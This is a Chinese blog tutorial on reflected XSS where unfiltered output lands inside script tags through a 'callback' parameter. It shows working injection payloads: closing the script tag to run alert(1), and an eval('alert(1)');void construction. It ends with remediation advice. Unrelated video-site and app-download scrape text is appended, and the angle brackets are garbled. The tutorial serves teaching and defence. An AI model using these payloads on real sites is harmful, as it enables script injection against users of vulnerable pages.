那些年我们一起学XSS - 2. 输出在&script&&/script&之间的情况
& 那些年我们一起学XSS - 2. 输出在&script&&/script&之间的情况&&&
分享到各大社区尊重他人劳动,你我共同努力。
接着上面一个教程,我们继续。这个例子属于第一例的特殊情况,当然也有特殊解法。也属于非常常见的一种情况。 1. 我们找到这么一个点,也是输入和输出都未过滤的一个点。相比教程第一例,其特殊之处在于,是输出在了 &script&[输出]&/script&之间。
/common/setParentsInfo.?callback=aaaaaaaaa
如下图:callback参数未做过滤。 在【查看源代码】下,我们可以看到。
缺陷网页源代码:
type='text/javascript'&document.domain='';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}&/script&
2. 碰到这种情况,我们一般有以下解法。
2.1 首先判断,是否过滤了 & , & , / 等符号,
2.2 如果都没有过滤,恭喜你,一般可以直接XSS了。代码如下:
/common/setParentsInfo.php?callback=aaaaaaaaa&/script&&script&alert(1)&/script&
原理入下图:
构造callback参数后的源代码
type='text/javascript'&document.domain='';_ret={"_res":2};try{parent.aaaaaaaaa&/script&&script&alert(1)&/script&(_ret);}catch(err){aaaaaaaaa&/script&&script&alert(1)&/script&(_ret);}&/script&
2.3 如果过滤了 &, &,那么就无法使用上面的办法了。我们接着看 3
3. script代码里的构造。
友情提示:这里可能需要一点点 javascript 的知识才行哦~~
我们可以如下构造:
/common/setParentsInfo.php?callback=eval('alert(1)');void
可以看到,源代码是下面的样子。
也就是说,我们插入的内容,使得这一段javascript依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的JS代码】,这样我们的目的就达到了。
构造后的源代码如下:
type='text/javascript'&document.domain='';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}&/script&
4. 这种输出在JS代码里的情况十分常见,但是呢?不幸的是,像这样没过滤的情况,却不是很常见。例如:
var a="[输出]"; // 通常程序员会把 " 过滤掉, 这样的话,一般来说,我们就很难构造。
但是,这并不是说,就一定是不能利用,后面我们会拿腾讯一些【比较有意思】的例子,来进一步说到 这个【输出在js里】的情况的~
修复方案:
这类XSS的模型通常是:
&script&...[输出]...&/script&
&style&...[输出]...&/script&
解决方案:
1. 过滤 &/xxx& 组合
2. 针对输出在不同的场景,进行合适的过滤。
如果您喜欢本博客,欢迎点击图片定订阅到邮箱
正文部分到此结束
你肿么看?
这篇文章还没有收到评论,赶紧来抢沙发吧~播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
视频:我的世界: &梁曦&盗墓者第二部-触手TV
发送到手机 / 微信 / 朋友圈
请扫描下列二维码
嵌入代码:
*通用代码支持手机播放哦
方式一:扫一扫
支持各类二维码扫描软件
方式二:发一发
免费发送App到手机
请输入正确的手机号码
看不清验证码不正确
该短信不收取任何费用
方式三:下一下
下载App观看
还有更多攻略和游戏礼包等着你
游戏新鲜报
&&我的世界
我的世界本周上升视频
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
播放: 评论:
宝贝陪你玩
畅游视频网页游戏YOYO手游
完美游戏台
网络视听许可证下载作业帮***包
扫二维码下载作业帮
1.75亿学生的选择
太空历险记有没有第2部?
有第2部,第三集是兄妹相认
为您推荐:
其他类似问题
扫描下载二维码